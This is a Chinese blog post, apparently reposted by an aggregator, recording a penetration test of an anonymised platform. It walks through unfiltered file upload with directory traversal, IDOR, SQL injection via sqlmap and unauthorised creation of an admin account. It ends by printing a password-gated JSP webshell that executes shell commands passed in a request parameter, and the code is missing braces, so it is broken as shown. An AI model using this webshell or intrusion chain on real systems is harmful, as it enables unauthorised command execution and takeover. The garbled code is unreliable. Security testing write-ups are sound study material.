某平台的一次简单渗透测试记录

Posted IT老涵

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了某平台的一次简单渗透测试记录相关的知识,希望对你有一定的参考价值。

目标

  • 某平台系统(www.target.net)

流程

本次渗透测试的流程图:

【技术资料】

测试

拿到站点后先做信息收集,扫描目录看看有无敏感信息

寥寥无几,没有任何信息,启动burpsuite打开网站走一遍流程。

在创建目标处存在图片上传接口,上传shell试试。

没有任何过滤,可直接上传,但当前目录不解析,猜测projectKey控制上传路径

可跨目录上传,但当前/webapp/test/uploadFile/路径非网站根目录,爆破了常见网站目录但没有一个是正确的解析shell的,先放着后续是否能找到网站根路径然后再跨目录上传。

越权

在浏览到某个页面中看到了一处链接/detail.shtml?key=id,拿出来浏览器中访问,测测是否存在越权或者SQL注入。

随便给个数值访问测试,发现只存在水平越权,不存在注入。

去掉参数直接访问,却弹出来了报错页面。

该站点使用的是spring框架,重新使用spring相关接口路由字典扫一遍,还意外扫到了druid登录页面,但并不存在未授权访问和弱口令的漏洞,继续看swagger。

在swagger中找到了一处注入和敏感信息泄露。

敏感信息泄露


根据URL猜参数名teamId,查看到所有的团队信息。

这里也是一处越权。

sql注入


同样猜参数名,未做任何过滤,单引号报错,直接上sqlmap一把梭。

越权添加用户

但翻了翻数据库并未找到管理员账号密码,不过找到了网站接口配置信息,将接口导出然后放到burpsuite里面跑

成功找到了越权添加/编辑用户接口,直接添加新管理员账号并登录。

任意文件上传

回到刚才文件上传处,通过sql注入报错页面我们找到了真实路径/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml],修改projectKey值,用…/…/…/…/跨目录上传shell

疑问

在最后上传shell处,尝试了冰蝎、哥斯拉的马都无法正常解析,后来更换了带密码回显的jsp马才成功,请问这是什么原因?

<%
    if("admin".equals(request.getParameter("pwd")))
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
            out.println(new String(b));
        
        out.print("</pre>");
    
%>

最后

点击获取【网络安全学习资料·攻略

以上是关于某平台的一次简单渗透测试记录的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试成长篇-Apache Tomcat样例目录session操纵漏洞

渗透测试成长篇-Apache Tomcat样例目录session操纵漏洞

渗透测试成长篇-Apache Tomcat样例目录session操纵漏洞

如何对网站进行漏洞扫描及渗透测试?

渗透测试学习—记录一次自测试渗透实战

它来了!靶机渗透题目的一次实战记录